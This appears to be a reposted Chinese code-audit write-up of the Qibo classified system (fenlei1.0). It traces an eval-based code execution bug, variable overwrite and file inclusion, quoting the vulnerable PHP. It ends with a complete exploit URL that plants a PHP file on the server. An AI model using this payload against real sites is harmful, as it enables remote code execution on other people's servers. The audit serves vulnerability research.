齐博分类系统漏洞分析

Posted vspiders

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了齐博分类系统漏洞分析相关的知识,希望对你有一定的参考价值。

0x01 漏洞利用知识点

1.代码执行

2.变量覆盖

3.文件包含

0x02 漏洞分析

首先在/fenlei1.0/do/jf.php文件中存在代码执行片段

    $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid=‘$rs[fid]‘ ORDER BY list");
    while($rs2 = $db->fetch_array($query2)){
        eval("\$rs2[title]=\"$rs2[title]\";");
        eval("\$rs2[content]=\"$rs2[content]\";");
        $jfDB[$rs[fid]][]=$rs2;
    }

追溯到数据库表pre_jfabout中,分析数据库表pre_jfabout中如果$rs2[title]和$rs2[content]可控,那么就可能存在恶意代码执行漏洞。

追溯数据库表pre_jfabout,可以找到文件/fenlei1.0/hack/jfadmin/admin.php中:

elseif($action=="addjf"&&$Apower[jfadmin_mod])
{
    var_dump($Apower[jfadmin_mod]);
    $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( ‘$fid‘, ‘$title‘, ‘$content‘, ‘$list‘ )");
    jump("ìí?ó3é1?","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
}

分析这段代码,发现如果可以操纵action变量和覆盖Apower[jfadmin_mod]变量就可以往数据表中插入恶意代码,但是这个文件是不允许直接访问传递变量参数的,他并不接受POST以及GET请求,因此想到是否存在文件包含漏洞,利用带有接收GET或POST请求的页面包含该文件,然后通过POST或者GET往漏洞页面传递请求,从而可以把变量带入该界面从而造成数据的插入,之后再访问/fenlei1.0/do/jf.php文件,即可执行我们的恶意代码。

而后审计得到在/search.php页面存在文件包含漏洞,

$postdb[city_id]    &&    $city_id    =    $postdb[city_id];
$postdb[street_id]    &&    $street_id    =    $postdb[street_id];
$postdb[zone_id]    &&    $zone_id    =    $postdb[zone_id];

@include_once(ROOT_PATH."data/zone/$city_id.php");

因此整个远程代码执行漏洞便可实现。

0x03 漏洞利用

首先访问/feilei1.0/search.php页面,利用该页面包含/fenlei1.0/hack/jfadmin/admin.php,之后往其中传入相应的参数进行覆盖出发插入数据函数,成功插入后,继而访问/fenlei1.0/do/jf.php页面,执行远程恶意代码。

payload如下:

http://127.0.1.1/fenlei1.0/search.php?postdb[city_id]=../../hack/jfadmin/admin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=1&content=${@fwrite(fopen(%27x.php%27,%20%27w+%27),%27<?php phpinfo();?>%27)}&list=1

技术分享

以上是关于齐博分类系统漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

[代码审计]齐博建站系统x1.0企业版代码审计

齐博CMS:请问这个网址的内容怎么采不来,不会是防采集了吧?

齐博cms 变量名,标签名大全

齐博模块化安装

齐博CMS:啥是SSH

齐博x1 数据库字典--万能数据库字典代码